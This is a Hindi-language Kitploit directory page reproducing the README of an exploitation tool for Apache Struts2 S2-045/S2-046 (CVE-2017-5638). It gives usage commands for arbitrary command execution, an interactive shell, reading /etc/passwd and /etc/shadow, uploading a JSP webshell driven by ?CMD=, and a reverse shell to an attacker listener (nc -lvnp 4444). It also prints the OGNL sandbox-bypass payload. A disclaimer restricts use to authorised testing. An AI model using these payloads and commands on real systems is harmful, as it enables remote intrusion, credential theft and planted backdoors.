Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
struts2-tool — Struts2 S2-045/S2-046 CVE-2017-5638 पहचान और शोषण उपकरण | Kitploit
उपकरण/GitHubGitHub/gu-007/struts2-tool
भेद्यता स्कैनरशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरिमोट एक्सेस टूलपेलोड डेवलपमेंट
GitHubgu-007/struts2-tool

struts2-tool

Struts2 S2-045/S2-046 CVE-2017-5638 पहचान और शोषण उपकरण

रिपॉजिटरी देखें
1 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Struts2 भेद्यता पहचान और शोषण उपकरण (s2tool)

एक शुद्ध Java में कार्यान्वित Struts2 S2-045 / S2-046 (CVE-2017-5638) भेद्यता पहचान और शोषण उपकरण। पहचान मॉड्यूल S2-045 / S2-046 दोनों भेद्यताओं को कवर करता है, शोषण मॉड्यूल कमांड निष्पादन, फ़ाइल प्रबंधन, सूचना प्राप्ति, इंटरैक्टिव शेल, रिवर्स शेल, Webshell अपलोड आदि क्षमताएँ प्रदान करता है।

अस्वीकरण: यह उपकरण केवल अधिकृत सुरक्षा परीक्षण, भेद्यता अनुसंधान और शैक्षिक उद्देश्यों के लिए है। अनधिकृत अवैध उपयोग सख्त वर्जित है, उपयोगकर्ता को सभी कानूनी जिम्मेदारी स्वयं वहन करनी होगी।


कार्यक्षमता अवलोकन

मॉड्यूलउप-कमांडविवरण
भेद्यता पहचानscanS2-045 / S2-046 पहचान (गणितीय सत्यापन + UUID फ़िंगरप्रिंट मार्किंग)
बैच स्कैनbatchकई लक्ष्यों की बैच पहचान, सारांश और JSON रिपोर्ट आउटपुट
कमांड निष्पादनexecमनमाना सिस्टम कमांड निष्पादन + आउटपुट प्रदर्शन (स्वचालित रूप से Win/Linux अनुकूलित)
इंटरैक्टिव शेलshellनिरंतर इंटरैक्शन, cd निर्देशिका स्थायीकरण, pwd/webroot/os अंतर्निहित कमांड
फ़ाइल अपलोडuploadOGNL सीधा लेखन (छोटी फ़ाइलें) / कमांड खंडित लेखन (बड़ी फ़ाइलें)
फ़ाइल डाउनलोडdownloadBase64 एन्कोडेड डाउनलोड (बाइनरी सुरक्षित)
Web रूट निर्देशिकाgetpathWeb एप्लिकेशन की भौतिक परिनियोजन पथ प्राप्त करें
सिस्टम जानकारीsysinfoOS / उपयोगकर्ता / कर्नेल / कार्य निर्देशिका जानकारी
रिवर्स शेलrevshellएक-क्लिक रिवर्स bash / PowerShell शेल
Webshell अपलोडwebshellJSP Webshell उत्पन्न और अपलोड करें (सादा ?CMD= शैली)
रिपोर्ट निर्यातscan -rJSON / HTML रिपोर्ट

डाउनलोड फ़ंक्शन सर्वर की किसी भी फ़ाइल को पढ़ सकता है (जैसे /etc/shadow), कृपया केवल अधिकृत परीक्षण में उपयोग करें।


त्वरित आरंभ

पर्यावरण आवश्यकताएँ

  • JDK 8 या उच्चतर संस्करण
  • Maven 3.x (केवल निर्माण के लिए आवश्यक, उपकरण चलाने के लिए Maven स्थापित करने की आवश्यकता नहीं)

निर्माण (Windows)

root@kitploit:~
:: प्रोजेक्ट निर्देशिका में निष्पादित करें
.\build.bat

PowerShell में .\ उपसर्ग आवश्यक है; cmd में सीधे build.bat चलाया जा सकता है। build.bat केवल निर्माण के लिए जिम्मेदार है, यह कोई नेटवर्क अनुरोध या स्कैन शुरू नहीं करेगा। निर्माण पूरा होने के बाद विंडो खुली रहती है और cmd सत्र में प्रवेश करती है (उपकरण कमांड सीधे चलाए जा सकते हैं, बंद करने के लिए exit दर्ज करें)। यदि आपका वातावरण Maven डिफ़ॉल्ट रिपॉजिटरी में लिख नहीं सकता है, तो पहले पर्यावरण चर M2_REPO को एक लिखने योग्य निर्देशिका पर सेट करें।

आउटपुट: target\s2tool.jar (fat-jar)।

Linux/Mac के लिए build.sh देखें

उपयोग उदाहरण

root@kitploit:~
# 1. भेद्यता पहचान
java -jar s2tool.jar scan http://target/action

# 2. पहचान + JSON/HTML रिपोर्ट निर्यात
java -jar s2tool.jar scan http://target/action -r both

# 3. कमांड निष्पादन
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"

# 4. इंटरैक्टिव शेल
java -jar s2tool.jar shell http://target/action

# 5. Web रूट निर्देशिका / सिस्टम जानकारी प्राप्त करें
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action

# 6. फ़ाइल अपलोड / डाउनलोड
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt

# 7. एक-क्लिक Webshell अपलोड (सादा ?CMD= शैली)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# एक्सेस: http://target/shell.jsp?CMD=whoami

# 8. रिवर्स शेल (हमलावर मशीन पहले सुनें: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444

# 9. बैच स्कैन
java -jar s2tool.jar batch targets.txt -r json

बैच लक्ष्य फ़ाइल प्रारूप

root@kitploit:~
# टिप्पणी पंक्तियाँ # से शुरू होती हैं (स्वचालित रूप से अनदेखा)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action

तकनीकी सिद्धांत

S2-045 / S2-046 (CVE-2017-5638)

आधिकारिक घोषणा का संस्करण दायरा (दोनों भेद्यताएँ Apache आधिकारिक घोषणा पर आधारित हैं, उपयोगकर्ता को लक्ष्य प्रभावित है या नहीं इसका मूल्यांकन करने के लिए):

भेद्यताCVEप्रभावित संस्करण (भेद्यता वाले संस्करण)पैच किए गए संस्करण (पैच लगे संस्करण)
S2-045CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 या 2.5.10.1 और उच्चतर
S2-046CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 या 2.5.10.1 और उच्चतर

यह उपकरण संस्करण संख्या निर्णय पर निर्भर नहीं करता, सीधे Payload जांच परिणामों के माध्यम से भेद्यता की उपस्थिति निर्धारित करता है, क्योंकि संस्करण पहचान अविश्वसनीय है (कई साइटें संस्करण संख्या छिपाती हैं)। उपरोक्त तालिका केवल आपके मैन्युअल मूल्यांकन के लिए संदर्भ है, यह उपकरण की पहचान तर्क को प्रभावित नहीं करती।

S2-046 के लिए, उपकरण filename नल-बाइट इंजेक्शन और Content-Type समान मूल कारण दोनों पहचान पथों का समर्थन करता है।

भेद्यता सिद्धांत:

  • ट्रिगर बिंदु समान: Jakarta Multipart पार्सर पार्सिंग त्रुटि पर, उपयोगकर्ता-नियंत्रित हेडर सामग्री (S2-045: Content-Type; S2-046: Content-Disposition का filename) को त्रुटि संदेश में जोड़ता है, त्रुटि संदेश Struts2 अंतर्राष्ट्रीयकरण टेक्स्ट प्रोसेसिंग प्रवाह (TextParseUtil.translateVariables) के माध्यम से OGNL मूल्यांकन किया जाता है
  • शोषण विधि भिन्न: S2-045 अवैध Content-Type के माध्यम से ट्रिगर होता है; S2-046 filename नल-बाइट (commons-fileupload 1.3.3+ आवश्यक) या अत्यधिक बड़े Content-Length (jakarta-stream कॉन्फ़िगरेशन आवश्यक) के माध्यम से ट्रिगर होता है

सैंडबॉक्स बाईपास

root@kitploit:~
(#nike='multipart/form-data')                       // Content-Type छिपाएं, contains जांच पास करें
(#[email protected]@DEFAULT_MEMBER_ACCESS)       // उच्चतम अनुमति MemberAccess प्राप्त करें
(#_memberAccess?(#_memberAccess=#dm):               // निम्न संस्करण: सीधे प्रतिस्थापित करें
  ((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
   (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
   (#ognlUtil.getExcludedPackageNames().clear())     // पैकेज नाम ब्लैकलिस्ट साफ़ करें
   (#ognlUtil.getExcludedClasses().clear())          // क्लास ब्लैकलिस्ट साफ़ करें
   (#context.setMemberAccess(#dm))))                 // उच्च संस्करण: ब्लैकलिस्ट साफ़ करने के बाद प्रतिस्थापित करें

वास्तविक परीक्षण: Struts2 2.3.30 पर सरलीकृत संस्करण (केवल setMemberAccess) सैंडबॉक्स को बायपास नहीं कर सकता, पूर्ण संस्करण (OgnlUtil ब्लैकलिस्ट साफ़ करने वाले पथ सहित) आवश्यक है।

पहचान रणनीति

तकनीकसिद्धांतविवरण
गणितीय संचालन सत्यापनOGNL 88888888-23333+1222 निष्पादित करता है, प्रतिक्रिया में 88866777 हो तो मौजूद हैसार्वजनिक POC गणना
UUID फ़िंगरप्रिंट मार्किंगयादृच्छिक UUID इंजेक्ट करें और प्रतिक्रिया बॉडी में प्रदर्शित करेंउच्च परिशुद्धता, नेटवर्क विलंब से अप्रभावित
विलंब पहचानThread.sleep(6000) समय अंतर (केवल S2-045 बिना आउटपुट के फॉलबैक)सीमा >3.6s

निर्णय नियम: गणितीय सत्यापन या फ़िंगरप्रिंट मार्किंग में से कोई भी हिट → मौजूद होने की पुष्टि; केवल विलंब हिट → संदिग्ध रूप से मौजूद; सभी मिस → मौजूद नहीं।


प्रोजेक्ट संरचना

root@kitploit:~
struts2-vuln-tool/
├── pom.xml                        # Maven निर्माण (shade पैकेजिंग fat-jar)
├── build.bat / build.sh           # निर्माण स्क्रिप्ट (Windows सत्यापित / Linux संदर्भ)
├── src/main/java/com/s2tool/
│   ├── Launcher.java              # मुख्य प्रवेश बिंदु (Picocli CLI)
│   ├── core/                      # कोर इंजन: HTTP क्लाइंट / Payload निर्माण / प्रतिक्रिया विश्लेषण / लक्ष्य पार्सिंग
│   ├── plugins/                   # भेद्यता प्लगइन आर्किटेक्चर (विस्तार बिंदु)
│   │   └── impl/                  #   S2_045 / S2_046 पहचान प्लगइन
│   ├── modules/                   # कार्यात्मक मॉड्यूल: पहचान शेड्यूलिंग / फ़िंगरप्रिंट पहचान / कमांड निष्पादन / फ़ाइल प्रबंधन / शेल आदि
│   ├── report/                    # रिपोर्ट जनरेशन (कंसोल / JSON / HTML)
│   └── utils/                     # लॉगिंग उपकरण
├── src/main/resources/            # लॉगिंग कॉन्फ़िगरेशन / Payload संदर्भ
└── src/test/                      # JUnit यूनिट परीक्षण

संदर्भ

भेद्यता सिद्धांत और तकनीकी लेख:

  • Apache Struts S2-045 आधिकारिक घोषणा (CVE-2017-5638)
  • S2-045 OGNL इंजेक्शन और ट्रिपल सैंडबॉक्स बाईपास विश्लेषण (टेनसेंट क्लाउड डेवलपर समुदाय)(Payload संदर्भ)
  • S2-046 भेद्यता सिद्धांत विश्लेषण (सुरक्षा गेस्ट)

संदर्भित ओपन-सोर्स प्रोजेक्ट (इस प्रोजेक्ट के विकास में निम्नलिखित रिपॉजिटरी के विचार और Payload संदर्भित किए गए):

  • Flyteas/Struts2-045-Exp —— कमांड निष्पादन / Web रूट निर्देशिका प्राप्त करना / JSP फ़ाइल लेखन Payload टेम्पलेट
  • Z-0ne/ScanS2-045-Nmap —— बैच पहचान विचार, प्रतिक्रिया विशेषता मार्किंग विधि
  • abc123info/Struts2VulsScanTools —— बहु-भेद्यता पहचान उपकरण का समग्र डिज़ाइन विचार (पहचान और शोषण पृथक्करण)

License

केवल अधिकृत सुरक्षा परीक्षण और सीखने/अनुसंधान उपयोग के लिए।

अनधिकृत अवैध उपयोग सख्त वर्जित है, उपयोगकर्ता को सभी कानूनी जिम्मेदारी स्वयं वहन करनी होगी।

टूल डाउनलोड करें